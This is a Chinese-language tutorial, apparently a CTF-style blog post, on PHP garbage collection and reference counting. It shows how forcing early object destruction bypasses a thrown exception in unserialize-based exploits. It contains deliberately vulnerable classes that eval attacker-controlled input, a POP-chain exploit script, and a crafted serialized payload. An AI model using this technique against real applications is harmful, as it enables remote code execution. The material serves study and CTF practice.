什么是GC
GC,全称为Garbage Collection,中文名为“垃圾回收机制”。
在PHP中,使用引用计数和回收周期来自动管理内存对象,当一个变量被设置为NULL,或者是没有任何指针指向的时候,他就会被当作“垃圾”,被GC机制自动的回收掉!
在被GC机制回收的过程中,他会自动触发__destruct析构方法!
什么是引用计数
当我们在php中声明一个变量的时候,这个变量会被存储到一个名为zval的变量容器中。在这个zval变量容器中,不仅仅包含这个变量的类型和值,他还会存储两个字节的额外信息!
第一个字节名为is_ref,是一个bool值,它用来标识这个变量是否属于引用集合。PHP引擎通过这个字节来区分是普通变量还还是引用变量,由于在PHP中允许用户通过&来自定义引用,因此在zval变量容器中还有一个内部引用计数机制,来优化内存使用
第二个字节是refcount,它用来表示指向zval变量容器的变量个数,所有的符号存储在一个符号表中,其中每个符号都有作用域
<?php
$str = "Y4y17";
xdebug_debug_zval('str'); //用于查看变量str的zval变量容器的内容
?>
//需要使用xdebug调试工具
//教程如下:https://github.com/huliuqing/phpnotes/issues/58
//大概输出的结果如下:
str:
(refcount=1,is_ref=0),string 'Y4y17'(length=5)
//代表着定义了一个变量$str,生成了一个类型为string,值为Y4y17的变量容器,而对于两个额外的字节而言
//is_ref=0是因为这里不存在引用的!refcount=1 代表着变量的个数是1
接下来,尝试添加一个引用,再来观察下结果:
<?php
$str = "Y4y17";
$name = &$str;
xdebug_debug_zval('str'); //用于查看变量str的zval变量容器的内容
?>
//生成如下的结果:
str:
(refcount=2,is_ref=1),string 'Y4y17'(length=5)
按照之前的思路,没生成一个变量就会有一个zval变量容器生成,用来记录变量的类型和值,当然还有两个额外的字节,但是显然结果和我们的预料不一致,原因是同一个变量容器被str和name变量关联,当没必要的时候,php不会去复制已生成的变量容器。所以这一个zval容器存储了str和name两个变量,从而使得refcount=2
关于容器的销毁:
变量容器在refcount=0的时候就会被销毁,但是refcount的值如何减少呢?当函数执行结束或者是变量调用了unset()函数的时候,refcount的值就会减少!
<?php
$str = "Y4y17";
$name = &$str;
$name2 = &$name;
xdebug_debug_zval('str');
unset($name1,$name2);
xdebug_debug_zval('str');
?>
//按照上面所谈到,生成一个变量容器:
str:
(refcount=3,is_ref=1),string 'Y4y17'(length=5)
//第二次输出的结果是什么?我们可以看到name和name2两个变量都被unset了,所以就不存在引用,那么
//is_ref=0 同样是由于unset导致refcount的值减少 refcount=1
str:
(refcount=1,is_ref=0),string 'Y4y17'(length=5)
简单铺垫
先看一个简单的反序列化:
<?php
highlight_file(__FILE__);
class test{
public $content;
public function __destruct(){
$content =$this->content;
eval($content);
}
}
$a = $_GET['a'];
unserialize($a);
?>
很简单的一个反序列化,想办法控制变量$content就可以执行命令,构造exp:
<?php
highlight_file(__FILE__);
class test{
public $content = "phpinfo();";
}
$a = new test();
echo serialize($a);
?>
之所以能够执行成功,就是因为我们可以触发到__destruct方法的执行!
继续看下面的例子:
<?php
highlight_file(__FILE__);
class test{
public $content;
public function __destruct(){
$content =$this->content;
eval($content);
}
}
$a = $_GET['a'];
unserialize($a);
throw new Exception("垃圾!");
?>
明显下面多了一行,就是进行反序列化之后,抛出异常!我们先不着急去饶过他,我们先看一下GC的实际工作流程:
<?php
highlight_file(__FILE__);
class test{
public $num;
public function __construct($num){
$this->num = $num;
echo $this->num."__construct\n";
}
public function __destruct(){
echo $this->num."__destruct\n";
}
}
new test(1);
$num1 = new test(2);
$num2 = new test(3);
?>
输出结果如下:
1__construct
1__destruct
2__construct
3__construct
3__destruct
2__destruct
可以看到的就是new了一个test对象之后,紧接着就destruct了,而后面的两个对象则是按部就班的先创建完,之后没了其他的操作之后才会结束!问题出在什么地方呢?其实就是因为对象1没有任何引用也没有任何指向,在创建的那一刻就被当做是“垃圾”,回收了,从而触发了__destruct方法!
如果没有指向,我们根据上面的测试,发现创建了对象就会紧接着被当作垃圾回收,那么如果在指向一个对象的中途忽然去指向另一个,换句话说就是舍弃了原来的对象,又会怎么样?
<?php
highlight_file(__FILE__);
class test{
public $num;
public function __construct($num){
$this->num = $num;
echo $this->num."__construct\n";
}
public function __destruct(){
echo $this->num."__destruct\n";
}
}
$num3 = array(new test(1),0);
$num3[0] = $num3[1];
$num1 = new test(2);
$num2 = new test(3);
?>
执行之后,我们发现结果还是一样的!但是如果我们注销掉$num3[0] = $num3[1];
可以看到,正常创建之后,最后销毁!
小试牛刀
既然我们了解GC的实际工作之后,我们尝试写一个demo进行测试:
<?php
highlight_file(__FILE__);
error_reporting(0);
class xx{
public $num;
public function __destruct(){
echo "hello __destruct\n";
echo $this->num;
}
}
class vv{
public $err;
public function __toString()
{
echo "hello __toString\n";
$this->err->flag();
return "vv";
}
}
class uu{
public $err;
public function flag()
{
echo "hello flag()\n";
eval($this->err);
}
}
unserialize($_GET['url']);
throw new Exception("就这?");
?>
自己随便写着,用于测试,师傅们轻点骂。这里的throw其实就是为了阻止__destruct执行的抛错,这个题目也算是一个链子,首先分析一下,入口就是xx类中的destruct,之后去执行zz::tostring,而tostring里面访问了属性的flag函数,从而在uu类中的flag函数中执行RCE
exp:
<?php
error_reporting(0);
class xx{
public $num;
public function __construct()
{
$this->num = new vv();
}
}
class vv{
public $err;
public function __construct()
{
$this->err = new uu();
}
}
class uu{
public $err = "phpinfo();";
}
$a = new xx();
echo serialize($a);
?>
当我们注释掉throw语句的时候,通过测试,我们的exp是成功打通的!但是我们不注释掉throw语句的时候发现是无法打通的!原因就是程序抛出异常后,不会执行destruct!
我们可以通过上面的介绍进行绕过throw,来执行析构函数!
<?php
error_reporting(0);
class xx{
public $num;
public function __construct()
{
$this->num = new vv();
}
}
class vv{
public $err;
public function __construct()
{
$this->err = new uu();
}
}
class uu{
public $err = "phpinfo();";
}
$a = new xx();
$c = array(0=>$a,1=>NULL);
echo serialize($c);
?>
实际上我们仅仅添加了一行代码:
$c = array(0=>$a,1=>NULL);
将目标对象赋值给0,键为1赋值为NULL
这样操作之后得到如下的结果:
a:2:{i:0;O:2:"xx":1:{s:3:"num";O:2:"vv":1:{s:3:"err";O:2:"uu":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}
a:代表着是一个数组 后面的2代表 有两个成员
数组中的两个成员,也就是两个键 分别是i:0 和 i:1
虽然存在两个键,其中i=0是我们的目标对象,i=1是NULL,如果这个时候我们把i:1:NULL修改为i:0:NULL,那么我们就让i=0指向了NULL,那就没有了指向(空指针),从而被当作垃圾,利用GC回收机制,被回收,从而又触发了析构函数!
a:2:{i:0;O:2:"xx":1:{s:3:"num";O:2:"vv":1:{s:3:"err";O:2:"uu":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}
总结
简单的了解了GC回收机制,后续还要深入的研究一下,通过做题还知道了,GC回收机制的利用需要修改字符串中的数据,如果phar反序列化+GC的话是需要修改phar文件的签名;如果遇到的话就需要在修改序列化字符串后再对其进行加密得到的数据替换原本的签名。